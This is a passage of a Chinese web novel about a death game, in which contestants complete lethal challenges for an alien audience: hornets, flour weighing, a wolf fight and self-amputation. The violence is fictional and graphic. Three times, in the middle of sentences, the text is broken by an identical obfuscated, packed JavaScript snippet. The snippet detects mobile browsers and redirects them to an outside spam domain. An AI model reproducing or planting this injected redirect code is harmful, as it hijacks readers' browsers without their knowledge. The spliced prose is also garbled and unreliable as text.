观众的声音响亮得令人心惊,精英姐姐却不为所动,仍然站在原地,与蜂群隔着一块玻璃板静静对峙。 如此又过了足有两分钟。 终于,连复眼女主持也等不下去了。 她手持麦克风,高声催道:“快点,你再不行动,我要判你输了哦!” 精英姐姐这才深深地吸了一口气,左手握住玻璃箱的门把,轻轻地、小心翼翼地压了下去。 经过这几分钟的僵持,玻璃箱子里的马蜂看得到却碰不着,嗡嗡乱舞了一阵之后,这会儿多半已经停下来了,只是密密麻麻地趴在玻璃上,织成了一大片密不透风的蜂帘子。 女子开门的动作极轻也极慢,幅度小到要不是镜头特写怼在她的手部动作上,观众们铁定要以为她仍然呆立着动也没动了。 可就是这么极小幅度的慢动作,玻璃门终于缓缓、缓缓地往外移动,在马蜂群几乎毫无所觉的情况下,打开了一条窄窄的缝隙。 紧接着,精英姐姐狠狠一咬后槽牙,将右手从狭缝里塞了进去。 即便她的动作很轻、速度很快,这一下子仍然不可避免地惊动了一些马蜂。 只听她发出一声短促的痛叫,大屏幕上清晰地显示,就这么一两秒钟的功夫,她伸进玻璃笼子里的右手掌上已叮了好几只马蜂。 女子随即飞快地缩回右手,同时左手一推,将打开了一条缝的玻璃门重新关上了。 全程只花了约莫两三秒钟,却还是有几只马蜂从玻璃箱里逃了出来,围着胆敢惊扰它们的大胆人类嗡嗡乱飞,阵势甚是骇人。 套裙女子只能脱掉她那件做工讲究、版型精致的西装外套,拿在手上大力扑腾,把漫天乱飞的马蜂扑到地上后再狠狠踩死。 饶是如此,她也还是又被叮了几下,最狠的那下明显是在额头右侧,一个大包瞬间隆起,从发根蔓延到眉骨,让她连右眼都有些睁不开了。 围观的观众发出了惊天动地的嘘声,似是对她这毫无爆点的“尝试”极其不满。 只是倒彩声很快转为了惊叹声。 因为镜头重新移回到了玻璃箱子处,观众们惊讶地看到那一大群马蜂竟然全都掉到了地上,层层叠叠一动不动,从挂帘变成了一张足有十厘米厚的地毯。 扑杀掉身边的几只马蜂后,套裙女子这才有余裕回头,用仅剩的那只眼睛仔细看了看玻璃箱内的情况,随即长长地舒了一口气。 随后她蹒跚地挪到玻璃箱前,小心翼翼地再度将玻璃门拉开了一条缝。 几只马蜂从缝隙里“漏”了出来,滚落在地,依旧纹丝不动,仿佛皆已死亡。 但女子仍然不敢大意。 她强忍着恶心,将没被蛰过的那只手从门缝里轻缓探入,一番心理建设后,终于一鼓作气直接插进了那层厚厚的蜂毯里,硬着头皮摸索起来…… 5. round 0.指令挑战赛-05 把手放进密集的马蜂堆里是件非常考验心理承受力的事情。 即便那些杀人蜂看起来似乎不会动了,但那到底是什么样的,旁观者光是脑补一下就要鸡皮疙瘩掉一地了。 令言屏住呼吸,一瞬不瞬地死死盯住屏幕里的特写。 大约三秒后,精英姐姐猛地一抽手,同时已被蛰肿了的右手猛地一推,将门缝给关严实了,随后站起身,没受伤的左手高高举起,亮出了一枚圆而亮的硬币。 ——哗!! 现场再次响起了喧哗。 只是与前几次不同,这次现场的观众们居然更多的是褒奖的欢呼。 看来即便是一看便并非善茬的非人类生物,对明显表现出了勇气的挑战者,还是会给与相当程度的敬意的。 “很好,红组做到了!” 复眼女主持大声宣布道:“现在红组积两分!恭喜他们!” 令言注意到,就在女主持说这两句话的功夫,精英姐姐并没有因为完成了如此高难度的指令而露出兴奋喜悦的神色,反是用没受伤的那只手捂住被蛰肿的那只眼,同时抬起脚,似乎在地上做着“摩擦”的动作。 因为现在镜头已经不在精英姐姐身上了,中心区域又离两组都有段距离,令言只能凭她的动作猜测,她正在用高跟鞋踩死那些“漏”出来的马蜂。 “……看来她应该是用了某种麻醉剂。” 令言小声嘟哝。 因为只是麻醉剂,马蜂一段时间后就会醒来,所以她才要将地上的马蜂全部踩死,确保等会儿不会因为它们徒增变故。 “你说什么?” 黑发黑眸的美貌冷峻青年站得很近,听到了令言的声音,但却没听清。 “没事。” 令言摇了摇头,又向正在朝他们这边走回来的精英姐姐轻轻抬了抬下巴:“她好厉害,对吧?” “嗯。” 俊美青年只应了一个单音节。 这时精英姐姐已经回到了红组的区域。 令言想了想,主动迎了上去。 “你的伤还好吧?” 他朝对方露出一个浅笑,“如果方便的话,我可以帮你看看。” 精英姐姐闻言,用完好的那只眼睛看了令言一眼,有些惊讶:“你是医生?” “嗯。” 令言点了点头,“虽然是内科医生,不过轮过急诊,基础的蜂蛰伤处理还是会的。” 精英姐姐重重地吐了口气,然后伸出自己被蛰肿的右手:“那麻烦你了……” 她顿了顿,又加了一句,“谢谢。” ### 就在令言帮精英姐姐检查和处理伤口的时候,复眼女主持已经将指令的选择权又交到了对面蓝组手里。 而蓝组却因为下一个指令由谁挑战爆发了严重的争执。 毕竟好做的指令已经全部做完了,剩下的不是莫名其妙的就是一看便很容易要命的。 谁都知道自己这组若是完成不了四个指令会死,但若是挑了力所不能及的指令,在失败的下一秒,就是像隔壁红组那个可怜的高中生那样炸出几百个血窟窿,根本等不到最后的结算时刻了。 “你们两个,快选一个!我们只差一个了!再做一个,我们就能活着离开这里了!” 蓝组有一个长得很高壮的男人,撩到手肘的上臂遍布纹身,从眼神到表情都显示他绝非善类。 此时纹身男正朝着一个中年男人和一个中年女人大声吼道:“快选一个,不然我现在就打死你们!” 说着他挥舞起自己的右手,蒲扇似的大掌一握拳便青筋暴起,看起来完全可以一拳将这对中年人打出个脑震荡来。 中年男女看起来像是一对夫妻,男方虽不算瘦,但个子不高,而且一看就是疏于锻炼的类型,而女方则是个微胖的家庭主妇,面对远超过能力范围内的挑战,这会儿已经彻底吓懵了,只知道一边尖叫一边摇头。 “怎么样?你们决定好了没有?” 复眼女主持催促道。 “啧!” 纹身男用力咂舌,嘴里不干不净地骂着污言秽语,二话不说便伸手揪住了家庭主妇的手臂,将她硬是从丈夫的怀里扯了出来,然后替她“举”了手: “这里!她来做下一个指令!她来做!” 虽女主持没有说过能不能替别人报名的规则,但很明显,挑战者团队的内部争执也是观众们喜闻乐见的部分。 于是她只是用仿佛蟋蟀鸣叫的音调尖声笑了两声,便朝着被推出来的家庭主妇问道:“你要挑战哪个指令?” 家庭主妇先是茫然四顾,发现没人打算解救自己之后,又无助地回头,似乎想朝丈夫求助。 然而她那软弱的老公只是一边哭一边摇头,还蹒跚地往后退了两步。 家庭主妇发出了绝望的悲鸣。 复眼女主持不耐烦地催她:“快点,这位太太,你要选哪个指令?” “……我、我……” 家庭主妇瑟瑟发抖,目光在剩下的几条指令上反复梭巡,最终下定了决心:“……我……我选、选指令十二……” 她的声音很小,但加持了某种魔法的收音系统还是将其放大到足以让全场听到的程度。 ### 【指令12:一次性从面粉袋里抓出50克面粉,误差≤1克。】 这条指令虽然看起来简直就是强人所难,但确实已经是家庭主妇自问能力范围内最有可能完成的一项了。 这位太太平日的爱好是烘焙,经常要按照食谱称量面粉、糖、酵母、黄油之类的重量,自问也算是对此有些心得。 但即便是这样,也不意味这她有把握盲抓能精准到偏差不超过一克的。 家庭主妇一边哭一边哆嗦着站到了长桌前,颤颤巍巍地伸出手,伸向面粉袋子。 ——别慌!别慌! ——只有一次机会! ——越慌手越抖! 她不断给自己做着心理建设,但极度的惊慌与恐惧之下,家庭主妇的手还是难以控制地不断发着抖。 在投射到大屏幕的特写镜头里,其他挑战者和现场观众都清楚地看到,家庭主妇艰难地将手伸进一袋子面粉里,手指抖索得像得了严重的帕金森。 终于,她抓住了一把面粉,又将拳头小心翼翼地移到旁边那架精致的电子天平上方。 危急关头,家庭主妇终于生出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520911|170711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急智。 虽说指令十二要求她一次性抓出五十克的面粉,但没说她手里只能不多不少捏五十克。 她大可以一次性多拿一点,然后缓缓转移到天平的称上——只要她放到称上的面粉量是五十克便算完成了任务。 如此想着,家庭主妇将发抖的拳头放在天平的小称上,让细碎的粉末从指缝间缓缓落下,同时双眼一瞬不瞬地盯着精密电子屏上的读数,紧张得连呼吸都忘了。 数字一点一点地增加。 十克、二十克……四十克…… 当读数超过四十克的时候,家庭主妇放慢了让面粉流下的速度。 四十五克……四十八克……四十九克! 家庭主妇在数字跳过四十九的时候,就猛地收紧手指,并迅速抽回手。 最后一点儿面粉落到了托盘里。 电子屏闪动了几下,最终停在了一个数字上。 ——51.04g。 ### 第二个死者出现了。 家庭主妇全身的血液像烧开的热油一样沸腾起来,皮肤膨胀起一个个血泡,又很快先后迸裂开,在众目睽睽之下炸出了大大小小的血花,连带着不比指甲大的碎肉,四散飞溅,将整个舞台弄得一塌糊涂。 刚刚失去了妻子的懦弱的中年男人被眼前这血肉横飞的景象吓到双腿发软,□□中间尿湿了一大片,坐倒在地上嚎啕大哭。 而红组和蓝组的其他挑战者们虽不至于如此失态,但兔死狐悲,脸色也一个赛一个的难看。 令言抬起头,看向浮空的大屏幕。 ——接下来又该到我们组了。 “……至少还要两个指令。” 令言蹙起眉,用只有自己能听见的音量嘟哝:“……即便我……那还有一个应该……?” 就在这时,女主持宣布场地“清理”完毕,又朝着他们这边扬起了话筒:“好了,你们红组这次打算派哪一个上场呢?” 红组到现在就只剩三个人还没挑战指令了。 已经完成了挑战并且活下来的马尾辫姑娘和精英姐姐都用焦急而不安的眼神在三人中来回扫视,希望三人中有谁还有绝活。 除了令言和那俊美青年之外,他们组就剩一个身材高大的青年,从锻炼得很结实的身材来看,很容易让人联想到“健身教练”一类的职业。 而此时,这个壮实的小哥只能用“惊慌失措”来形容。 他一边摇着头一边往后退,嘴唇嗫嚅,含糊地说着“我不行”、“我不想死”一类的词。 令言叹了一口气,抬起了头环顾四周,想再确认一次自己的“某个”判断。 ——好吧…… 他想:下一项挑战,自己来吧。 正在令言下定决心并准备举起手的时候,什么东西忽然在他的胳膊上碰了一下。 令言吓了一跳,连忙转头。 他看到黑发黑眸的冷漠青年举起了自己的手。 “我来。” 男人开口道。 他的语气冷静、平淡,比在餐厅点餐还要寻常,让人压根儿无法从中分辨出任何情绪。 他说: “我选指令六。” 6. round 0.指令挑战赛-06 所有人的第一反应都是看浮空光屏,确定指令六是什么。 下一秒,观众们都沸腾了。 【指令6.杀死魔狼。】 令言倒抽了一口气。 虽然剩下的指令几乎都是在花式找死,但选最找死的那项,是嫌自己死得不够惨吗? 他伸出手,一把拉住了俊美青年的胳膊,“等等!” 令言急切地想说些什么,但青年只是淡淡地瞥了他一眼,轻巧地甩开了他的手,随即毫不迟疑地走向了两组中央的圆形区域。 虽然死去的高中生和家庭主妇的遗体被“工作人员”给清理了出去,但爆出的血沫和碎肉几乎都留在了竞技场上。 血肉的味道对关在笼子里的魔狼来说是顶尖的兴奋剂,此刻它正在笼子里左右徘徊,耳朵竖起,尾巴炸开,瞳孔因为亢奋而扩大,喉间发出近似于呜咽的喑哑低吼。 黑发黑眸的青年来到那片涂满血迹的圆形区域处,先抬脚在地面摩擦了两下,似是在确认此地的触感。 血迹基本干透了,踩上去的脚感不会过于滑腻,随后他抬手朝着兵器架一指:“我能用这里的武器吧?” “当然可以!” 复眼女主持对敢于挑战这个最刺激指令的俊美青年给予了百分之一千的耐心和热情,连说话声音都莫名地夹了起来。 “你可以随便选你喜欢的武器,哪一把都可以哦!” 她想了想,又补充道:“或者你想选多少把都行!不用着急,慢慢选啊!” 青年点了点头。 他看向笼子里的魔狼,似是在衡量对手的体型和战斗力,思索了约有十秒之后,才信步来到兵器架前,从角落处取下了一把大约半臂长的短剑。 直播镜头怼得极近,将青年的动作神态拍得清清楚楚,全都投影在了那块浮空的大屏幕上。 青年左手握剑鞘,右手握剑柄,将短剑拔出,眼睫垂下,神色淡然,默默地检查过剑身与剑刃之后,又掂了掂重量。 “就这把吧。” 青年挽了个剑花,做出了选择。 ### 令言死死盯住屏幕,几乎忘了还要呼吸。 他看到青年站到场地中央,拔出短剑,双腿分开与肩同宽,剑尖前指,摆出了一个看起来很标准的起手式,然后朝着女主持的方向点了点头,示意自己准备好了。 光看青年握剑的姿势,令言就知道他肯定是正经练过的。 但练过剑术归练过剑术,因为不管怎么训练,他从前面对的对手都只有跟他力量相当的人类。 然而此时,他即将面对的,是一头体长超过两米,口中生着上下各两排倒钩状的利齿的巨大魔狼。 这明显已经超过人类的战力限制了。 令言很难想象,这是任何正常人能手持冷兵器靠近战解决的对象。 很显然,现场所有人都这么想。 观众们简直兴奋得不能自已,一边发出惊天动地的怪叫,一边挥舞着手里奇形怪状的应援物,似乎只等着看到魔狼把这个不知天高地厚的美青年撕成碎片。 结实的金属笼门在万众瞩目中缓缓滑开。 魔狼没有如观众们期待的那般径直朝青年扑过去。 它显然有一定的智商,知道那把闪着寒光的金属能够对自己造成伤害,所以它擦着笼边,迈着谨慎的步子步出铁笼,与青年保持着一定的距离,沿着场边走了个半弧,似乎想来个绕背。 青年随着魔狼的脚步转动方向,始终面朝着他的对手。 “呜吼——呜吼——” 魔狼从喉咙深处挤出示威式的低哑咆哮,四排倒钩牙龇开来,腥臭的涎液从嘴角溢出,滴滴答答地落到地上。 它的耐心已快到极限。 而青年神色依然沉静,脚步缓而稳定,以最小的移动直面魔狼的致命威胁。 终于,魔狼率先沉不住气了。 它的后腿猛然一蹬,毫无预兆地朝着青年扑了过去,一张大到不成比例的巨嘴咧到耳根,下颌张开的幅度直逼一条蟒吞的巨蛇,看样子能直接把青年那颗俊美无畴的脑袋囫囵包裹进去。 青年没有正面迎接魔狼的扑咬。 他灵巧地一闪身一错步,避开了魔狼的利爪和巨口,从狼身旁完美错开,同时趁着擦身的瞬间,挥动短剑朝那畜生砍去。 “铛”的一声,剑刃砍在狼身上,竟然激起了清脆的金属撞击声以及几颗火花。 很显然,魔狼之所以称之为“魔狼”,除了体型比一般的狼大,牙齿比普通的狼多之外,连毛皮都硬得像钢丝,青年的短剑已经照着头颈交界处砍了,也不过只能在它身上留下一条仅算做“蹭破皮”的刀痕而已。 青年的反抗显然激怒了魔狼。 魔狼发出一声震耳欲聋的咆哮,后爪一蹬,身形疾回,扭身朝着那看似柔弱的青年再度扑去。 青年似是早有预料,在魔狼回身的瞬间便已准确避开。 然而一味的闪避不是办法。 主办方划给挑战者的圆形场地并不大,打斗起来对一般人来说够用,但对四条腿的庞大野兽而言,只是一起一落一个腾空的功夫而已。 场地的边缘似乎有什么无形的屏障,明明不远处就站着复眼女主持和红蓝两组人类,魔狼却看也不看他们,只盯着青年一个人扑击,活动范围似乎也仅限于此。 而青年显然也没有离开此地躲到别处去的意思。 他敏捷地在这个对他而言过于狭小的区域中左右腾挪,险而又险地躲过了魔狼的每一次扑杀。 令言站在远处,光凭他日常必须要戴眼镜的目力,根本看不清场上人的动作。 他只能一直抬着头,从大屏幕的实况直播看青年的情况。 作为生长在和平年代的技术型人才,令言令医生向来感觉这等腾挪辗转、身随意动的“功夫”是只出现在小说和影视里的“秘技”,他简直很难想象,那英俊青年居然能凭一己之力,与那光看模样就无比恐怖的魔狼周旋。 然而仅仅只是“周旋”是完全不够的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520912|170711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令言越看越心惊,但除了替对方捏一把汗之外,他完全没有别的办法。 ### 青年当然也意识到了这个问题。 在闪避中,他几次尝试反击,但明明看着削铁如泥的匕首却只能在魔狼金属质地的毛皮上留下几道浅浅的割痕。 ——这样不行。 意识到了这一点之后,青年飞快思考应该怎么对付这头魔狼。 他已经试过劈砍或是戳刺对兽类而言相对比较薄弱的颈部,却无法对魔狼造成有效的伤害。 与这头野兽充沛且压倒性的体能相比,他一味的闪躲除了消耗体力之外,一旦哪次闪躲不及,那分分钟就是开膛破肚的致命伤了。 换而言之,青年知道,自己很可能没有试错的机会,更没有耽搁的时间。 ——必须一击毙命! 打定主意,他瞅准时机,朝着兽笼的方向一闪,用没拿短剑的那只手抓住笼子的栅栏,借力来了个抛转,闪身到了笼子后面。 魔狼刹车不及,大半个身子撞在了笼子上。 那兽笼也不知是什么材质,只听“咣当”一下巨响,魔狼被自己的冲劲狠狠撞歪,以很狼狈的姿势侧身砸在地上,再添一声沉重的闷响。 吃了如此大亏,魔狼闷吼着爬起,朝青年呲出一口尖牙,喉头滚过威胁性的咆哮,绿眼中的杀意几乎要化为实质,将青年绞成碎屑。 青年只是单手持剑,沉下双肩,在十步外摆出一个迎击的姿势。 盛怒的魔狼根本没把青年手里那把破不了它防的短剑放在眼里,后足一个踢蹬,便要扑过去。 本来十米左右的距离对魔狼而言完全只需要一个腾空便能轻松跨越,然而不知为何,它跳起的刹那,一只脚诡异地一滑,跃起的抛物线便出现了一个莫名的扭曲,使它的扑击远低于预期,还极其狼狈地就在青年面前摔了个狗吃屎。 这变故实在出乎在场所有人的预料,观众们爆发出了整齐划一的惊呼。 青年则似乎就等着这一瞬,悍然出手,手持利剑,朝着魔狼因摔倒而正好大张开的一张大嘴探了进去。 锋利的剑尖刺破了魔狼的上颌。 剧痛中,魔狼本能地一咬——上下两排倒钩状的利齿肉眼可见地扎破了青年的皮肉,眼看就要将那探进它嘴里的半截胳膊自腕部以下咬成两段了。 但半臂长的剑锋已然自上颌往上,突破薄弱的血肉,以极其刁钻的角度斜刺入了魔狼的颅腔内,扎入了大脑里,剩下的握柄则刚好卡在上下颌中间,让它无法咬断青年的手。 魔狼喉间滚过一声垂死的嘶吼,四脚在地上用力扒拉了几下,试图站起。 可惜脑部被利刃穿刺的伤口足够致命,它那巨大的身躯只是痛苦地挣扎了数秒,便颓然一软,再也不动了。 它死了。 青年这才松开握剑的手,将自己的半截胳膊从血淋淋的狼嘴里抽了出来,然后高高举起,做了个握拳的动作。 看似最不可能完成的指令六,居然让他给完成了。 7. round 0.指令挑战赛-07 ——哗!! 现场爆发出了震耳欲聋的欢呼,掌声雷动。 看来即便是非人类也同样是慕强的。 在挑战者展现出远超普通人极限的机敏和勇武的时候,他们也丝毫不吝于给与喝彩。 直到这一刻,令言对于青年“凭一己之力杀死魔狼”这等匪夷所思的事才终于有了实感,他长舒一口气,悄悄松开了紧握的拳头。 因为过于紧张,令言捏得手指都麻了,掌心里都是冷汗。 在令言看来,一个人类能干掉一匹凶残的巨狼实在离谱到了极点。 特别是魔狼最后关头竟然那么凑巧地滑了脚,当着“敌人”的面张着嘴摔了个狗吃屎,以致于让青年逮到机会一下捅进它喉咙里,才把它的脑子戳了个窟窿,简直就像是撞了大运一样,比彩票中大奖还稀奇。 然而仔细一想,令言便察觉到这很可能并不是简单的“凑巧”了。 魔狼多半是踩到了方才两个牺牲者炸出来的血肉才会滑倒的。 毕竟负责收拾现场的非人类处理得很是粗糙,只把遗体拖走了事,而死者飞溅的鲜血和碎肉若是没干透的话可是非常滑溜的,冷不丁踩上去跟踩中香蕉皮的效果也没啥区别了。 令言注意到,青年在上台时曾用脚试探过血迹是否湿滑。 这么看来,他当时应该是故意闪身到笼后,好让魔狼在扑击时不慎踩中笼子边缘积聚的血肉,然后狠狠摔上那么一跤的。 ——厉害! 令言在心中默默赞了一声,目光笔直看向屏幕。 屏幕里还在直播青年的特写。 他那张精致俊美的面孔被高清镜头放到最大,连睫毛也纤毫毕现,神色平静而漠然,好看得仿佛一尊出自名家之手的精工细琢的纯白大理石雕像,偏偏颊边溅了两滴鲜血,让他的冷峻凭添两分邪异之感。 似乎是为了给这沸腾的现场气氛助兴一般,竞技场上空又闪烁起了炫目的五色射灯。 非人类们挥舞着手里千奇百怪的应援物,还有许多家伙往场地中央投掷各种物品,虽然都被半空中的无形屏障所阻挡,但杂物在探照灯的照射下如同一只只坠落的飞鸟,令人眼花缭乱。 令言抬起头,微微眯起了眼睛,仔仔细细地看向观众席的某处。 最后一次,他快速地确定了自己的判断。 ### 待到欢呼声稍歇,复眼女主持才兴奋地宣布红组挑战成功,现在共积三分。 如此一来,红蓝两组分数持平。 两组的挑战者都只需要再攒一分,就能完成此次挑战,离开这个地方了。 现在指令的选择权又到了隔壁组,红组的人纷纷松一口气之余,一颗心又再次吊到了嗓子眼里。 这时,刚刚杀死一只魔狼的青年回到了红组所在的区域。 他身穿一件款式十分基础的白衬衣,一条剪裁不错的休闲裤,配上一张俊美却没什么表情的脸,很容易给人一种清风流云、不染尘俗之感。 只是这会儿他的右臂自肩膀以下染满了血污,布料被半干的血黏在皮肤上,红得发黑的一大片十分扎眼。 令言快步迎上前去,对青年说道:“你受伤了吗?我帮你看看伤口吧?” “不用。” 青年抬了抬没沾血的左手,虚虚挡在身前:“我没受多大的伤。” 既然是“没受多大的伤”,那就是说他其实还是伤到了。 令言在平常上班时碰多了不肯配合的病人,坚持到:“我还是帮你简单看一下吧。” 精英姐姐也在旁边适时插话:“小言他医术不错的,让他帮你看看吧。” 说着,她指了指自己还肿着的右手:“我脸上和手上的蜂刺,也是他帮我弄掉的。” 正如她所言,就在隔壁蓝队前一轮的挑战时,令言已经帮精英姐姐简单处理过身上的蜂蛰伤了。 虽然这个挑战赛赛场缺医少药,令言没办法给精英姐姐的伤口消毒止痛,但他还是很机智地想出了一个办法,用姐姐包里的胶带帮她将伤口里断掉的蜂刺给“黏”了出来——这样至少能减少蜂刺里残留的毒药更多地进入人体内,同时也能减缓疼痛。 在处理伤口的过程中,两人简单地交换了一下个人信息。 令言知道了这位精英姐姐姓屈,是滨海市某合资企业的HR,而精英姐姐也在得知了他的名字和职业以后,直接就管他叫“小言”了。 听精英姐姐如此一劝,青年略一迟疑,还是点了点头。 他解开右臂的袖扣,将被染成暗红色的袖子卷了起来。 刚才隔着一层布料,狼血和人血混杂时尚且不明显,当青年将袖子挽起之后,令言才得以看清楚,对方方才那看似神乎其技的一招,其实是冒了极大的风险的。 “你这伤……还叫‘没什么大事’!?” 令言看着青年胳膊上的伤口,都有些无语了。 魔狼嘴里拢共四排利齿,每只牙都长着内翻的倒刺,锋利如剃刀,哪怕只是划拉一下便是一个皮翻肉绽的后果。 青年虽用剑柄卡住了魔狼的上下颌,让它无法咬合,可牙齿却还是或多或少会扎入他的皮肉里,再一挣扎拉扯,那横七竖八的伤口内侧两排背侧两排,块块都堪称“血肉模糊”,看得人头皮发麻,简直有种无从下手处理的感觉。 “好在没伤到大血管!” 令言仔细检查过上下四排伤口的情况,松了一口气之余,又感觉甚是无奈,“只不过清创缝合起来怕是够呛!还得打破伤风针和狂犬病疫苗……” 他左右四顾,忧心忡忡:“也不知道这儿究竟是哪里……这鬼地方到底有没有这些医疗条件啊……” 令言的声音不大,但精英姐姐就站在他旁边,自然听得一清二楚。 她挑起一侧的眉毛,露出了一个诧异的表情,刚想说些什么,青年已先开口道:“不要紧,只是多耗些‘时间’罢了。” 说着,他轻轻抽回手,将撩起的袖子放了回去,便似毫不在意右臂那皮开肉绽的伤势一般,将自己的注意力转回到了大屏幕的现场直播上。 ### 此时,蓝组正为谁来进行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520913|170711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后一个挑战而陷入了内讧。 蓝组已积了三分,明明就差最后一分便能成功了。 只是碍于每人只能挑战一次的规定,侧手翻的年轻小伙、跳了绳的女学生、听前奏辨音乐的气质美女都不能再进行任何挑战了。 还活着的人里,就只剩下那刚死了老婆的中年男人,以及那个凶悍蛮横仿若□□混混的花臂纹身壮男了。 “我不行的、我不行的!” 中年男人趴在地上,双手抱头,任凭纹身壮男如何殴打,无论如何也不肯抬头。 毕竟这些挑战每一个都在他的能力范围之外,接不接受都是一个“死”字。 在看到妻子全身炸出无数血肉,死相惨不忍睹之后,中年男人的精神受到了极大的刺激,已是濒临崩溃,别说理性地思考如何完成挑战了,他甚至连站起来的力气都没有。 现在,中年男人满脑子只有一个想法——好死不如赖活,他能苟一秒是一秒,绝对不要去擂台上主动送死! 中年男人畏死,纹身壮男又何尝不是? 剩下的指令每一个都是找死,他不想自己去挑战,只能寄望面前这个懦弱无能的中年男人替他送死。 然而哪怕他如何拳打脚踢、恐吓威胁,中年男人却只一味嚎哭,愣是不肯就范。 纹身壮男又不能替别人接指令,面对来自主持人的催促,他急出了一脑门大汗,只恨不能将脚下这废物软蛋男踢死。 “喂,蓝组,你们商量出结果了吗?” 女主持人第三次催促:“再不做决定,就当你们组弃权了哦!” 同时现场观众发出一阵响亮的嘘声,显然已是很不耐烦了。 “你、你们两个,谁都好,快接一个啊!” 成功完成了侧手翻指令的小哥同样急得不行。 他原本还觉得纹身壮男这蛮横残暴的态度很招人讨厌,但现在他们马上就要小命难保了,什么礼义廉耻、慈悲道义都要靠边站,当务之急是先找个顶锅的出来把挑战给做了! “你闭嘴!” 纹身壮汉气急败坏,一扭头恶狠狠地瞪过去:“你抢了容易做的指令,现在说什么风凉话!?” 若非对方一副年轻力壮约莫还挺能打的样子,壮汉高低得给他一拳。 “这、这……” 小哥气结。 可惜时间紧迫,他没空与对方理论,只急切地说出了自己的建议:“你看那不是还有个砍手的指令吗?” 他朝浮空屏幕一指:“指令一!反正只要我们离开这里就可以‘恢复’了,不会死的!” 纹身壮男闻言,顺着小哥的指点,抬头看向屏幕。 他清楚地看到,指令一的要求——砍断一只手。 断手虽然很恐怖,但对他们这群挑战者而言,确实是列表里剩下的唯一可能活下去的指令了。 “……行……行吧!” 纹身壮男低头看向仍然还在抱头痛哭的中年人,狠狠一咬牙:“老子拼了!” 他举起手,对复眼女主持说道:“我选指令一!” 8. round 0.指令挑战赛-08 对刚刚看完了一场惊险刺激的猎杀魔狼大戏的非人类们来说,区区一个砍手实在太不够看了。 不过好歹是能见血的项目,总比什么背古文猜音乐的带劲一点儿,勉强还算凑合。 于是镜头飞快地切换到纹身壮男身上,一路特写,追着他来到中央的圆形竞技区域,将他每一个微表情都放大在观众面前。 纹身壮男神色挣扎,每走一步都似想要扭头便跑,偏偏选定了指令便没得反悔,他只能硬着头皮继续往前走。 哪怕他步子再拖沓,短短三十米还是很快就到头了。 “武器架上的东西你可以随便选。” 复眼女主持用昆虫嗡鸣般的尖锐嗓音笑嘻嘻地提醒道:“快挑一样趁手的吧!” 魔狼的尸体已经让主办方抬走了,不过场地仍和之前一样没有怎么清理过,中央一大滩半干未干的猩红血泊,加上狼血远比人血来得腥臭,光是闻到那刺鼻的血腥味就让人感觉毛骨悚然。 纹身壮男颤抖着站到了兵器架前。 架子上刀枪剑戟、斧钺钩叉、棍棒锤镋,长短轻重应有尽有,每一样都寒光闪闪锋利无比,实在很有杀伤力。 纹身壮男一眼就看见隔壁红组的美青年用来杀魔狼的那把短剑,它已归了鞘并被插回了原位,只是从剑柄到剑鞘全都沾满了狼血,鲜血顺着刀鞘滴落下来,在兵器架的一角汇聚成一块硬币大小殷红的血洼。 纹身壮男狠狠地咽了口唾沫。 他下意识地朝那柄染血的短剑伸手,却在碰到剑柄的前一秒一个激灵回过神来,转而伸向旁边那把看起来很有些分量的短柄斧。 毕竟他接下来要做的是砍断自己的一只手——虽然主持人说武器可以随便选,但刃宽且重的斧头,怎么都比刃薄且窄的短剑好操作多了。 “你选好了吗?” 大约是嫌纹身壮男太磨叽了,复眼女主持催促道,态度比方才对待青年时要不耐烦多了。 纹身壮男只得颤巍巍抓住斧柄,将它从兵器架上取了下来。 就凭他那一身腱子肉,这斧头应该拿得很轻松才对。然而他现在心态几近崩溃,双手抖如筛糠,斧子握在手里重逾千斤,瞧着都快要砸自己脚上了。 ——真的要砍掉自己的一只手吗? 纹身壮男心中无比挣扎。 虽说等结束以后可以去“遗迹”修复创伤是不假,但那可是切断一只手啊! 纹身壮男光是脑补自己断手后血飚得到处都是的画面就头皮发麻,恐惧到不知该如何是好了。 “遗迹”距离这里并不近,他能有多少血够流的? 万一来不及死在路上了呢? 再说了,就算赶得及又如何? 修复断肢可是要消耗很多“生存点”的,他冒着这么大的风险、受了那么大的苦处,拼死拼活赢了这场挑战赛,到头来…… 他转过头,怨毒的视线投向自己所在的蓝组。 蓝组已经做过任务的几人纷纷抬头紧盯屏幕,神色焦急,似乎都在等着他赶紧把自己一只手砍断。 而那孱弱无能的中年男人还蜷缩在地上,背脊弯成一只虾子,似乎还在哭个没完。 ——到头来,自己没赚到多少生存点,反而便宜了这群混球! 纹身壮男把后槽牙咬得咯吱作响。 ——不行! ——不行! ——不能便宜了他们! ——我才不要用自己的一只手,换那群孬种的活路! ### 